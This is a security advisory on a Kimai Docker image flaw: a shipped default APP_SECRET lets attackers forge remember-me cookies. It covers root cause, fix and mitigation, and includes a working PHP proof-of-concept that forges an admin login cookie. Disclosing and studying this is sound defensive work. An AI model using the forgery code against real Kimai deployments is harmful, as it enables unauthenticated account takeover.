criticalCVE-2026-52824Jul 14, 2026

CVE-2026-52824: Kimai Docker Default APP_SECRET Enables Cookie Forgery and Account Takeover

Rohit Hatagale
AI Security Researcher, SecureLayer7

The official Kimai Docker image ships a publicly-known Symfony secret, letting any unauthenticated attacker forge valid remember-me cookies and log in as any user, including super admins.

Packagekimai/kimai
Ecosystemcomposer
Affected<= 2.57.0
Fixed in2.58.0

The problem

The Kimai Docker image hard-codes `ENV APP_SECRET=change_this_to_something_unique` in its Dockerfile (line 263). That value becomes Symfony's `kernel.secret`, which is used to HMAC-sign remember-me cookies, login links, password-reset URLs, and CSRF tokens.

The container entrypoint (`entrypoint.sh`) never checks whether this sentinel value is still in use. Any Docker-deployed instance that does not explicitly override `APP_SECRET` at runtime exposes every account, including `super_admin` (typically user ID 1), to unauthenticated takeover from the internet.

The only preconditions are knowing a username and the account having no 2FA active.

Proof of concept

A working proof-of-concept for CVE-2026-52824 in kimai/kimai, with the exact payload below.

php
<?php
// Forge a Symfony KIMAI_REMEMBER cookie for a known username.
// Works against any Kimai Docker instance with the default APP_SECRET.

$secret   = 'change_this_to_something_unique'; // shipped default
$username = 'admin';                            // target username
$class    = 'App\\Entity\\User';               // Symfony user FQCN
$expires  = time() + 31536000;                  // 1 year from now

// Symfony RememberMeToken HMAC (sha256)
$hash = hash_hmac('sha256', $username . $expires . $class, $secret);

// Cookie value: base64( username : expires : hash )
$cookieValue = base64_encode($username . ':' . $expires . ':' . $hash);

echo "Set cookie  KIMAI_REMEMBER={$cookieValue}\n";
echo "Then GET    https://<target>/en/ with that cookie to land as '{$username}'.\n";

Symfony's `RememberMeToken` derives its authenticity entirely from `kernel.secret`. Because the secret is a compile-time constant baked into the Docker image and documented in the public advisory, any third party can reproduce the exact HMAC the server would accept.

The root cause is CWE-1188 (Initialization of a Resource with an Insecure Default): the Dockerfile set a sentinel value that was never validated or rotated at startup. The fix adds a startup script that generates a fresh 32-byte random secret via `bin2hex(random_bytes(32))`, stores it in `/opt/kimai/var/data/.appsecret`, and writes it into `/opt/kimai/.env.local` before Kimai boots.

The hardcoded ENV line was removed from the Dockerfile entirely. A companion change (GHSA-m492-gv72-xvxj) adds extra entropy to login-link signatures as a defense-in-depth measure.

The fix

Upgrade to Kimai 2.58.0. If you cannot upgrade immediately, set a strong random `APP_SECRET` explicitly in your `docker run -e APP_SECRET=$(openssl rand -hex 32)` call or in your `docker-compose.yml` environment block. Verify the running secret is not the sentinel: `docker exec <container> printenv APP_SECRET` must not return `change_this_to_something_unique`.

Reporter not attributed.

References: [1][2]

Related research